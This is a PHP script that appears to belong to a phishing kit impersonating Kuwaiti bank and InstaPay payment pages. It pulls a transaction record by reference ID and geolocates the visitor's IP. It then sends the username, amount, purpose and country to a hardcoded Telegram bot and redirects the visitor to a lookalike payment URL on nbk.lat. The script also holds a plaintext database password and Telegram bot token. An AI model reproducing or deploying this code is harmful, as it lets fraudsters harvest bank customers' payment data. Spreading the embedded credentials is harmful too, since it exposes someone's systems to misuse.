<?php
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['Accept'])) {
    // بيانات الاتصال بقاعدة البيانات
    $servername = "localhost"; // خادم قاعدة البيانات
$username = "u565109619_can47"; // اسم المستخدم الصحيح
$password = "Y8PwwD|fLI#i"; // كلمة المرور الصحيحة
$dbname = "u565109619_can47"; // اسم قاعدة البيانات الصحيحة

    // إنشاء الاتصال
    $conn = new mysqli($servername, $username, $password, $dbname);

    // التحقق من الاتصال
    if ($conn->connect_error) {
        die("Connection failed: " . $conn->connect_error);
    }

    // استلام R_ID من الفورم
    $R_ID = isset($_POST['R_ID']) ? $_POST['R_ID'] : null;

    if ($R_ID) {
        // جلب البيانات من قاعدة البيانات بناءً على R_ID
        $stmt = $conn->prepare("SELECT username, price, currency, purpose FROM transactions WHERE R_ID = ?");
        $stmt->bind_param("s", $R_ID);
        $stmt->execute();
        $result = $stmt->get_result();

        if ($result->num_rows > 0) {
            $data = $result->fetch_assoc();

            // بيانات الرسالة
            $username = $data['username'];
            $amount = $data['price'] . " " . $data['currency'];
            $purpose = $data['purpose'];

            // الحصول على الدولة باستخدام عنوان IP
            $ip = $_SERVER['REMOTE_ADDR'];
            $geoData = json_decode(file_get_contents("http://ip-api.com/json/$ip"), true);
            $country = isset($geoData['country']) ? $geoData['country'] : "Unknown";

            // صياغة الرسالة
           $message = "✅ Order Confirmed\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "📄 Reference ID: $R_ID\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "👤 Username: $username\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "💰 Amount: $amount\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "📋 Purpose: $purpose\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖\n";
$message .= "🌍 Country: $country\n";
$message .= "➖➖➖➖➖➖➖➖➖➖➖➖";


            // إعدادات Telegram Bot
            $botToken = "7716894474:AAFEX3oWlo_hAtQKBMWB81Gp1Wh788S58w8"; // استبدل بـ Token البوت الخاص بك
            $chatID = "-1002328325821"; // استبدل بـ Chat ID الخاص بك

            // إرسال الرسالة إلى Telegram
            $url = "https://api.telegram.org/bot$botToken/sendMessage";
            $data = [
                'chat_id' => $chatID,
                'text' => $message,
                'parse_mode' => 'HTML'
            ];

            // تنفيذ الطلب باستخدام file_get_contents
            $options = [
                'http' => [
                    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
                    'method' => 'POST',
                    'content' => http_build_query($data)
                ]
            ];
            $context = stream_context_create($options);
            $response = file_get_contents($url, false, $context);

            if ($response === false) {
                echo "Failed to send the message.";
            }

            // ✅ إعادة توجيه المستخدم إلى pay2.php مع تمرير R_ID
            header("Location: https://nbk.lat/mobileqp/pg.cbk.com/instapay/Customer/InstaPay/ConfirmPay/index2.php?R=" . urlencode($R_ID));
            exit();
        } else {
            echo "No data found for the provided R_ID.";
        }

        $stmt->close();
    } else {
        echo "R_ID is missing.";
    }

    $conn->close();
} else {
    echo "Invalid request.";
}
?>
